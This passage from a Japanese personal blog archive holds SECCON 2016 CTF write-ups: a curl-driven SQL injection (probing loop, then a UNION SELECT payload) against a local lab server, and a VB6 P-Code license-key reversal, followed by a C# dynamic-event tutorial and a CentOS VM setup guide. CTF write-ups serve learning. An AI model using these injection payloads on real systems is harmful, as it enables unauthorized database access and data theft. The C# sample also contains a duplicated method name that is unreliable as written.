<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="22.cgi">22.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="23.cgi">23.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="24.cgi">24.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="25.cgi">25.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="26.cgi">26.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="27.cgi">27.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="28.cgi">28.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="29.cgi">29.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="30.cgi">30.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="31.cgi">31.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="32.cgi">32.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="33.cgi">33.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="34.cgi">34.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="35.cgi">35.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="36.cgi">36.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="37.cgi">37.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="38.cgi">38.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="39.cgi">39.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="40.cgi">40.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="41.cgi">41.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="42.cgi">42.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="43.cgi">43.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="44.cgi">44.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="45.cgi">45.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="46.cgi">46.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="47.cgi">47.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="48.cgi">48.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="49.cgi">49.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="50.cgi">50.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="51.cgi">51.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="52.cgi">52.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="53.cgi">53.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="54.cgi">54.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="55.cgi">55.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="56.cgi">56.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="57.cgi">57.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="58.cgi">58.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="59.cgi">59.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="60.cgi">60.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="61.cgi">61.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="62.cgi">62.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="63.cgi">63.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="64.cgi">64.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="65.cgi">65.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="66.cgi">66.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="67.cgi">67.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="68.cgi">68.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="69.cgi">69.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="70.cgi">70.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="71.cgi">71.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="72.cgi">72.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="73.cgi">73.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="74.cgi">74.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="75.cgi">75.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="76.cgi">76.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="77.cgi">77.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="78.cgi">78.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="79.cgi">79.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="80.cgi">80.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="81.cgi">81.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="82.cgi">82.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="83.cgi">83.cgi</a></td><td align="right">28-Nov-2016 11:41  </td
100 19795    0 19795    0     0  4160k      0 --:--:-- --:--:-- --:--:-- 4832k
><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="84.cgi">84.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="85.cgi">85.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="86.cgi">86.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="87.cgi">87.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="88.cgi">88.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="89.cgi">89.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="90.cgi">90.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="91.cgi">91.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="92.cgi">92.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="93.cgi">93.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="94.cgi">94.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="95.cgi">95.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="96.cgi">96.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="97.cgi">97.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="98.cgi">98.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="99.cgi">99.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="100.cgi">100.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache Server at 127.0.0.1 Port 81</address>
</body></html>

1~100までのCGIファイルがあることが分かる. 取り敢えず1.cgiにアクセスしてみると

curl --user keigo:test "http://127.0.0.1:81/authed/sqlinj/1.cgi"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
154   154    0   154    0     0   4701      0 --:--:-- --:--:-- --:--:--  4812
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
</body></html>

となっているので, ?no=4822267938を付けてアクセスしてみる.

curl --user keigo:test "http://127.0.0.1:81/authed/sqlinj/1.cgi?no=4822267938"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
116   233    0   233    0     0   5849      0 --:--:-- --:--:-- --:--:--  5974
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
</body></html>

本のISBN番号とかを表示するらしい. ディレクトリ名からしても明らかにSQL Injection出来るので, やってみる.

curl --user keigo:test "http://127.0.0.1:81/authed/sqlinj/1.cgi?no=4822267938'+1=1--"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
159   159    0   159    0     0   4264      0 --:--:-- --:--:-- --:--:--  4297
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
</body></html>

ダメっぽい. 取り敢えず100まで試してみる.

for i in {1..100}
do
    curl --user keigo:test "http://127.0.0.1:81/authed/sqlinj/$i.cgi?no=4822267938%27--"
    echo $i
done
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
116   233    0   233    0     0   5823      0 --:--:-- --:--:-- --:--:--  5974
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
</body></html>72

よって72.cgiSQL Injectionが可能. あとはやるだけ.

curl --user keigo:test "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=482226793%27UNION+SELECT+0,0,f1ag+FROM+f1ags--"

flagはSECCON{I want to eventually make a CGC web edition... someday...}


Retrospective [Binary][200]

Reverse it.
[file](http://files.quals.seccon.jp/file)

与えられたファイルを調べると

$ file https://www.vb-decompiler.org/
Retrospective: PE32 executable (GUI) Intel 80386, for MS Windows

$ strings Retrospective
-- snip --
C:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB
-- snip --

このことから, VB6で作成されたバイナリだということが分かる.

拡張子をexeにして実行してみると, ライセンスキーを入力しろと表示されるため, 正しいライセンスキーを見つける問題だと推測出来る. バイナリ問題なのでIDAに突っ込んでみるが, ブレークポイントが刺さらなかったり, 挙動がおかしい. 一般的なPEバイナリではないようだ. しばらく調べてみると, VBについて詳しくないので詳細は分からないが, VB6はネイティブのexe以外に, P-Codeコンパイルというものがあるらしく, 現在の.NETのILのようなものがあるらしい.
Microsoft P-Code

中間言語なので上手くデコンパイル出来ないか調べてみると, いくつかツールが見つかった. 今回は以下のFree版を使った. (Free版だとexeをP-Code出力するだけだが, 課金すればVBのコードにしてくれるらしい…)
https://www.vb-decompiler.org/

行数がスゴく多いので出力されたP-Codeは省略するが, あとは読めば解ける. 以下はP-Codeを読みながら, PHPでRetrospectiveを模して実装したもの.

<?php

define('USER_INPUT', 'ユーザの入力値');

// 文字列の左端から指定された文字数分の文字列を返す
function Left(string $str, int $length) : string
{
    return substr($str, 0, $length);
}

// 文字列の右端から指定された文字数分の文字列を返す
function Right(string $str, int $length) : string
{
    return substr($str, (-1) * $length);
}

// 部分文字列ごとに区切られた文字列からゼロ ベースの 1 次元配列を作成し返す
function Split(string $str, string $d, int $length, int $c) : array
{
    return explode($d, $str, $length);
}

// 文字列から指定された文字数分の文字列を返す
function Mid(string $str, int $start, int $length) : string
{
    return substr($str, $start, $length);
}

// 文字に対応する文字コードを表す整数型の値を返す
function Asc(string $str) : int
{
    return ord($str[0]);
}

// SHA1だと思う
// https://ja.wikipedia.org/wiki/SHA-1
function calchash(string $str) : string
{
    return strtoupper(sha1($str));
}

// 入力値は8文字以上で, 'SECCON{' と '}' に挟まれている
if(strlen(USER_INPUT) < 8 || Left(USER_INPUT, 7) != 'SECCON{' || Right(USER_INPUT, 1) != '}')
{
    exit();
}

// 入力値を '_' でセパレートする
$data = Split(substr(USER_INPUT, 7, -1), '_', -1, 0);

// 2つ以上の配列であるか
if(count($data) <= 2)
{
    exit();
}

// 1つ目の文字列が 'LEGACY' であるか
if($data[0] != 'LEGACY')
{
    exit();
}

/**
 * (data[1][0] * 1) + (data[1][1] * 4) = 350
 * => data[1][0] = 86 => 'V'
 *    data[1][1] = 66 => 'B'
 */
$value = 0;
for($i=0; $i<strlen($data[1]); $i++)
{
    $value += Asc($data[1][$i]) * (4 ** $i);
}
if((strlen($data[1]) != 2) || ($value != 350))
{
    exit();
}

/**
 * 0x15E50 - 350 * 256 = 80 => 'P'
 */
$value = 350 * 256;
for($i=0; $i<strlen($data[2]); $i++)
{
    $value += Asc($data[2][$i]) * (4 ** $i);
}
if($value != 0x15E50)
{
    exit();
}

/**
 * SECCON{LEGACY_VB_P_????}
 * 残りはBrute Forceですぐに解読可能
 */
$value = 0;
for($i=0; $i<strlen(USER_INPUT); $i++)
{
    $value += Asc(USER_INPUT[$i]) * (2 ** $i);
}

$hash = calchash(USER_INPUT);
if(($value == 1645164145) && ($hash == '8B292F1A9C4631B3E13CD49C64EF74540352D0C0'))
{
    $h = 'Thank you f|| your purchase :-) ' . PHP_EOL . 'And, ' . USER_INPUT . ' is Flag.';
    print($h);
}

よってflagはSECCON{LEGACY_VB_P_CODE}

今年度のまとめ

去年度のはこちらです
kkrnt.hatenablog.com

今年度も終わりそうなので、今年度やったことを思い出しつつ纏めておこうと思います


4月
kkrnt.hatenablog.com

  • GitHubを使い始めました

github.com

  • C#を書き始めました

github.com

  • 研究室に配属されました

- 念願のkikn研に配属されました


5月
kkrnt.hatenablog.com

  • C#でリフレクションとかで遊んだり、twitterbot作ったりしました

github.com
github.com


6月
kkrnt.hatenablog.com

  • セキュキャンの応募用紙書いてました

kkrnt.hatenablog.com

  • twitterでProcessingのコードを飛ばすと結果をgifで返してくれるヤツ書いてました

kkrnt.hatenablog.com
github.com

  • PDF読んだり書いたりしてました

github.com


7月
kkrnt.hatenablog.com

  • Windows 10のログイン画面で遊んでました

github.com


8月
kkrnt.hatenablog.com

kkrnt.hatenablog.com

  • 拡張子を変更するとファイルの形式を変換するヤツ書いてました

github.com

  • C#でfuzzyStringMatchで遊んでました

github.com


9月
kkrnt.hatenablog.com

ボーッとしてました


10月
kkrnt.hatenablog.com

  • hsp.csを実装し始めました

github.com

  • コンピュータセキュリティシンポジウムに参加しました

- MWS Cupに参加したんですが、大人の力で総合優勝しました

github.com


11月
kkrnt.hatenablog.com

  • 引き続きhsp.csを実装していました
  • Roslynで遊び始めました

github.com
github.com

  • あいちゃれの最終選考に参加しました

www.ict-challenger.jp

  • C#DNSサーバっぽいことを出来るようなものを書いてました

github.com


12月
kkrnt.hatenablog.com

  • 友利奈緒 Advent Calendar書いてました

kkrnt.hatenablog.com

  • Year End Hack DayのCTFを主催しました

kkrnt.hatenablog.com

  • C89に出展しました

- Windowsのログオンプロセスについて書きました
ocreilly.meiji-ncc.tech

  • 引き続きhsp.csを実装していました

- GUIの実装が一段落付いた辺りです
github.com

  • 引き続きRoslynで遊んでました

github.com
github.com


1月
kkrnt.hatenablog.com

  • 引き続きhsp.csを実装していました

github.com

  • もちょのブログを形態素解析したりしてもちょっぽい文章を生成出来るか試してました

github.com


2月
kkrnt.hatenablog.com

  • 引き続きhsp.csを実装していました
  • 来年度の研究について色々と準備してました


3月
kkrnt.hatenablog.com

  • 引き続きhsp.csを実装してました

github.com

github.com


来年度以降もkikn研に配属されました
セキュリティ関係はネットワークとかも含めて勉強していきたいなーって思ってます


今年度は大体C#書いてましたが、hsp.rtmは来年度も引き続き実装していく予定です


今年度もたくさんの方にお世話になりました
来年度もよろしくお願いします

C#で文字列をコードとしてコンパイルして, その中のPaintイベントを動的にメインプログラムのウィンドウに追加したり削除したりする

タイトルが長い…
でもそのままです…


普段GUIを一切実装しないのでイベントとかよく分かってないんですが, プログラムを実行中に動的にPaintイベントを追加したり削除したりしなければいけなくなりました
ややこしいのは、追加したり削除したりするイベントは実体として持っているわけではなくて, プログラム内に文字列として保持しているという状況です

やりたいことをまとめると

  • 文字列をC#のコードとしてコンパイルし, 特定のクラスのインスタンスを得る
  • コンパイルしたプログラム内のイベントをメインプログラムのフォームにPaintイベントとして追加したり削除したりする

の2つです


まず文字列をC#のコードとしてコンパイルし, 特定のクラスのインスタンスを得るコードですが, これは非常に簡単で

var param = new CompilerParameters();
param.ReferencedAssemblies.AddRange(new[] {"参照してるDLLの名前"});
var assembly =  new CSharpCodeProvider()
    .CompileAssemblyFromSource(param, "コード文字列")
    .CompiledAssembly;

これでコードをコンパイルして, アセンブリを得ることが出来ます

後はアセンブリから特定のクラスのインスタンスを作成するんですが

var dataType = assembly.GetType("名前空間.クラス名");
dynamic instance = Activator.CreateInstance(dataType, コンストラクタの引数);

こんな感じでインスタンスを得ることが出来ます
コンストラクタの引数は特になければCreateInstanceの引数は型情報だけで大丈夫です


次にイベントの動的な追加と削除ですが, コンストラクタにFormのインスタンスを渡すと過程すると, そのインスタンスに対してPaintイベントを追加と削除を行うコードとなります

詳細に関してはこちらのサイトが非常に参考になりました
devlights.hatenablog.com


今回書くコードは, ウィンドウをクリックするとPaintイベントを追加し, もう一度クリックすると削除するものです
Paintイベント自体はウィンドウの色を青や赤にするものにします


まずコンストラクタですが, グローバルにFormを定義しておいて, そこに代入します
また色を変更するためのカウンタとrbgを定義しておきます
ついでにClickイベントも書いておきます

Form form;
int count;
int r = 255, g = 0, b = 0;
public クラス名(Form _form)
{
    form = _form;
    form.Click += Click;
    count = 0;
}
public void Click(object sender, EventArgs e)
{
    if (count % 2 == 0)
    {
        AddEvent();
    }else{
        DeleteEvent();
    }
    form.Refresh();
    count++;
}

次に追加したり削除したりするPaintイベントを書きます
ここではウィンドウの色を青や赤にするイベントとします

public void ExecuteEvent(object sender, PaintEventArgs e)
{
    if (r == 255)
    {
        r = 0;
        b = 255;
    }else{
        r = 255;
        b = 0;
    }
    e.Graphics.FillRectangle(new SolidBrush(Color.FromArgb(r, g, b)), 0, 0, 640, 480);
}

後はExecuteEventをPaintイベントとして追加するAddEventと削除するDeleteEventという関数を定義します

public void AddEvent()
{
    form.GetType()
        .GetEvent("Paint")
        .AddEventHandler(form,
            Delegate.CreateDelegate(typeof(PaintEventHandler), this, GetType().GetMethod("ExecuteEvent")));
    MessageBox.Show("イベントを追加しました");
}
public void AddEvent()
{
    form.GetType()
        .GetEvent("Paint")
        .RemoveEventHandler(form,
            Delegate.CreateDelegate(typeof(PaintEventHandler), this, GetType().GetMethod("ExecuteEvent")));
    MessageBox.Show("イベントを削除しました");
}

こんな感じで完了です


全体のコードはこんな感じになります


GUIは全く分かりませんが, それっぽいものが作れたと思います
何か良い書き方があれば教えて下さい…

Cygwinを捨ててバックグラウンドでLinuxを動かす

僕は普段Windowsを使っていて, 必要になるとCygwinを使っていたんですが, そろそろどうにかしたいと思い, バックグラウンドでLinuxを動かすことにしました

要件としては

  • メインはWindows
  • Linuxは表に出てこないで, SSHで操作する
  • LinuxWindowsのファイルにアクセスできる
  • Windowsの作業に支障が出ない程度に軽く
  • Linuxからインターネットに接続できる

取り敢えずそれっぽい感じになったので, 纏めておきます


以下ではWindows 8.1 x64 & CentOS 6.7 x64 Minimal & Virtual Box 5で行いました


まずテキトーにCentOSをVirtual Boxに入れましょう
GUIは使わないつもりなのでメモリは512MBくらいあれば大丈夫そう
容量もWindowsの領域を使う予定なので最低限で良いと思います(あまり少ないと落ちるので気を付けて下さい)
f:id:kkrnt:20160204012016p:plain

インストールが終わったらネットワークの設定をします
/etc/sysconfig/network-scripts/ifcfg-eth0を以下のようにします

DEVICE=eth0
HWADDR=xx:xx:xx:xx:xx:xx
TYPE=Ethernet
UUID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
ONBOOT=yes
NM_CONTROLLED=yes
BOOTPROTO=dhcp
IPV6INIT=no

これでネットワークを再起動します

# service network restart

するとDHCPがIPを降ってくれると思います


※IPを固定した場合は以下の設定を行ってください
この後の設定で現在のIPとネットマスク, ゲートウェイをメモります

# ifconfig
# route

このままだとIPが変わってしまう可能性があり, 困ってしまうので固定します
さっきメモった情報を元に/etc/sysconfig/network-scripts/ifcfg-eth0を変更します

DEVICE=eth0
HWADDR=xx:xx:xx:xx:xx:xx
TYPE=Ethernet
UUID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
ONBOOT=yes
